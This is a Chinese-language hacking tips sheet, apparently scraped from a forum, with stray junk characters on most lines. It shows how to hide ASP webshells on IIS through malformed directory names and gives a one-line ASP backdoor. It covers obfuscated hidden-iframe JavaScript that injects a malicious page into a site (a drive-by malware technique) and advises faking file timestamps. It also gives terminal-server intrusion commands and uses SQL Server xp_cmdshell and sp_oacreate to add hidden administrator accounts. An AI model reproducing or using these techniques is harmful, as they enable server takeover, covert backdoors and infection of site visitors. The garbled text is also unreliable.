6 B$ g' Q6 C: Y6 H) [: u$ E1、建立非标准目录:mkdir images..\
+ ^5 u& [" F7 W: _拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
7 I8 y: U6 U, Z( P( E1 k) x通过web访问ASP木马:http://ip/images../news.asp?action=login
9 R/ X. o- {! ~如何删除非标准目录:rmdir images..\ /s# h! P* y( Q- _& `' }3 a
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:
& n# t( y) L z5 H- k/ J/ z* ?5 g. Nmkdir programme.asp- n$ \+ P) O( h3 `. ~9 p6 }# n
新建1.txt文件内容:<!--#include file=”12.jpg”-->
! s9 A- ]2 b& x新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
3 d6 U! P; q: J* P& {% {7 k% Dattrib +H +S programme.asp
?! N6 \* t9 z9 p% x8 q$ S通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
7 l0 \' J; p# _& B& n
: D2 i; @' D4 t2 Y54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。
7 H, w" c" g0 z然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。1 }9 Q1 B) N3 |& p& M* q" p4 w
& r( Z$ P0 e! b% u+ {3 h' z55、JS隐蔽挂马% e3 v1 |# H* W1 p4 V
1.
9 q5 k. ~* v* l7 y2 ^2 |0 P7 M# P2 hvar tr4c3="<iframe src=ht";
5 P2 | F- K4 H" `1 f" V8 A* J' ftr4c3 = tr4c3+"tp:/";
* t1 f3 v" f/ D3 Rtr4c3 = tr4c3+"/ww";5 A2 z0 T% p0 h2 j! N( B, e
tr4c3 = tr4c3+"w.tr4";7 F9 F" K1 ~8 A, M8 w1 i
tr4c3 = tr4c3+"c3.com/inc/m";
1 \" D5 t: T- e2 Htr4c3 = tr4c3+"m.htm style="display:none"></i";
" j: @1 L5 y( htr4c3 =tr4c3+"frame>'";
8 y0 x4 x, u2 l7 Y1 U1 m0 jdocument.write(tr4c3);
. N$ s9 }. s' E6 @4 @避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
/ x9 \- I j. t( J; M- O5 ~) O
; B$ r2 l/ N) @% i, P2.
# M8 C' q1 Z& h- r+ N转换进制,然后用EVAL执行。如
& X+ a2 N" b7 i% peval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
9 |! D \- k) D1 s5 j( d不过这个有点显眼。
9 p" O0 [0 U& j9 n G3.$ p% F2 l6 u) P- d! s. A+ M H
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
# y& e M0 w# d# h最后一点,别忘了把文件的时间也修改下。4 Z }2 Y' j2 y' Z+ W2 I5 R7 |
4 Z% \6 s# p' E% g/ V
56.3389终端入侵常用DOS命令7 n, }: F1 ]) [$ ]
taskkill taskkill /PID 1248 /t) z" {" _+ J. J g0 L) Q1 B
: c+ d/ B* z3 E# ^$ { B
tasklist 查进程
( ?; C- Z& N& }: f, K7 C# Z
+ j+ B7 e9 s) J9 }9 Jcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限3 C% ~# [- j* \1 K, @) c* v
iisreset /reboot3 z% ]4 w* F% m' z# B
tsshutdn /reboot /delay:1 重起服务器
5 B3 K ]5 L1 X$ G$ D# B* Z8 A3 D! ^4 M7 O6 U
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,' b; u6 g8 v/ a/ v1 q0 E
* v4 c" Z! g1 J) l1 h; _3 r+ p; B
query user 查看当前终端用户在线情况
; |9 o4 G2 X' U
9 \4 q1 H; ?+ W3 U0 {0 Y1 b* D: ]要显示有关所有会话使用的进程的信息,请键入:query process *0 O s( a, y6 Y) Y5 P1 \
# b) k( B) e, n1 r$ H3 Y$ z( z
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:26 v% \+ |4 Y/ b( ?3 r$ v
1 e- k7 c' E" R5 X0 F要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
9 g8 `# y+ {' B; H4 B& I
O0 ]# B5 `% G$ ?) ^* X要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02( L4 C/ T8 M" m& m5 U' x+ o
+ n a0 J. j; s) Y5 u
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
" @3 R9 t! A# a- e9 B5 B5 u
. h2 y' ` I2 x# `# j7 I2 f h! `命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统1 x& p' t; M# | e
5 Z j; b. s" [! h
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。) ^6 ^5 r& ^ P! l6 J2 Z
& N, g6 t3 D: I- B' d9 P, ?
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机
- o+ {! H P. Z2 c4 X* O1 c* | i# p8 n' P- W; a$ i" l! ]
56、在地址栏或按Ctrl+O,输入:4 f, T0 u& U( M1 R* z/ i8 ?
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;8 a& s2 A0 F1 H/ L* M7 J
9 N* V- H& s, q3 O5 Y, Q源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
+ [0 B. x- Q( S O& i4 I' T
' j1 x# P8 j/ L" f4 Y! o57、net user的时候,是不能显示加$的用户,但是如果不处理的话,, `3 u0 T3 h, \7 }' |
用net localgroup administrators是可以看到管理组下,加了$的用户的。/ I9 U5 ~9 q" a) M/ p6 O. l$ z
+ L9 b: }8 t3 ?
58、 sa弱口令相关命令+ ^: V3 @ `2 K" ~
# J: K1 ^# r: f, E- w
一.更改sa口令方法:
4 [+ t" b# N" z/ c9 V用sql综合利用工具连接后,执行命令:+ A9 X: ~8 }/ u7 G) r6 b
exec sp_password NULL,'20001001','sa'
6 Y' z: `4 N h6 n; Q(提示:慎用!)
% t: s; ?# M# W. C0 q! S, g7 k! D, [3 C4 j
二.简单修补sa弱口令., i( n$ [, `1 S. V# T' M; t
% u q+ y" O5 V7 N+ V& C
方法1:查询分离器连接后执行:. w- w# t3 m4 H: o, }& @% U
if exists (select * from
* {: \; Z& m7 N0 b, r+ r4 }) m# {) L! v fdbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and2 G$ @- d( _1 g3 a
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
( J2 O$ q: P7 [2 Q
/ W h% w6 @9 U4 D. bexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'4 U4 L2 \3 G2 r- r# w& o+ S0 m1 t
1 k7 x" k0 s, T5 ?
GO
2 L5 Z. k' H3 V" u7 g- x+ a% P- M7 z1 |8 f1 d2 D
然后按F5键命令执行完毕
& k( S: s/ J. I3 f7 S5 H
: a# E! v1 N2 l' ?方法2:查询分离器连接后
6 r$ W: N( m; [# I第一步执行:use master& S+ N0 }) l, L! |+ m
第二步执行:sp_dropextendedproc 'xp_cmdshell'
3 m! k8 n$ ]% G6 f然后按F5键命令执行完毕$ Y% D6 S @$ g+ A5 C- m$ J
+ z$ m1 k" |8 p! w0 |' V1 R( j& d. p# D1 \' {
三.常见情况恢复执行xp_cmdshell.5 d5 b6 ], M3 \6 }( j1 c
* S, B& {! D, R T0 \
1 p; q& |7 R2 ` M1 未能找到存储过程'master..xpcmdshell'.
+ y% ^1 H4 f/ Y! d4 R 恢复方法:查询分离器连接后,# R; `) ^2 l4 _( J
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int6 K& e. m. d" B* X- k5 V/ b2 Q
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
( y" W0 I0 {" S4 \, {3 P然后按F5键命令执行完毕
$ |2 M9 w+ ~" D$ S9 {5 W
% C1 `, ?8 |2 G! f2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
" T8 I$ p4 q; {( a9 Q恢复方法:查询分离器连接后,% i |# M( y+ a: v. A( u0 K
第一步执行:sp_dropextendedproc "xp_cmdshell"
8 V# V8 v7 R; Y. }0 A第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2 h. ^8 t) T" d4 t
然后按F5键命令执行完毕
2 j) x+ ]- H/ u/ j# R8 s5 }/ f% p
9 Z9 S4 e! J6 J# |3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)0 }1 U& _: v5 L6 u) E4 F
恢复方法:查询分离器连接后,
3 X. U' ]/ Q' A; l6 ^& V: n第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
3 @+ `% n e5 c! w! o Z" b第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' ; P1 s- W$ o4 s
然后按F5键命令执行完毕
- l2 B9 v( g) P; W, b5 P5 z4 e% S3 |1 j( q' _
四.终极方法.; u3 e k# F, V: d: h: B
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
9 c7 l3 e- l- f0 E/ D. S. P7 J" J查询分离器连接后,
8 H# T( p1 Q% ]; A `: W; {2000servser系统:
8 r; y7 M/ q8 ~declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
+ _: v1 K- j* A5 [# A9 c* b% A& i- J. J, M# E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'' e7 `" G9 t/ x3 R8 G
( C% L4 n* h3 J& uxp或2003server系统:
6 Z; Z3 ]5 O7 m1 U7 Z- m) L
/ R5 S% o" t6 `+ d6 @- @declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'/ g1 X% b, Z8 i9 W4 ~
1 h0 g% x p* e+ x8 k
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'' O1 d! [5 A6 u3 L/ J; E. E; `" c
|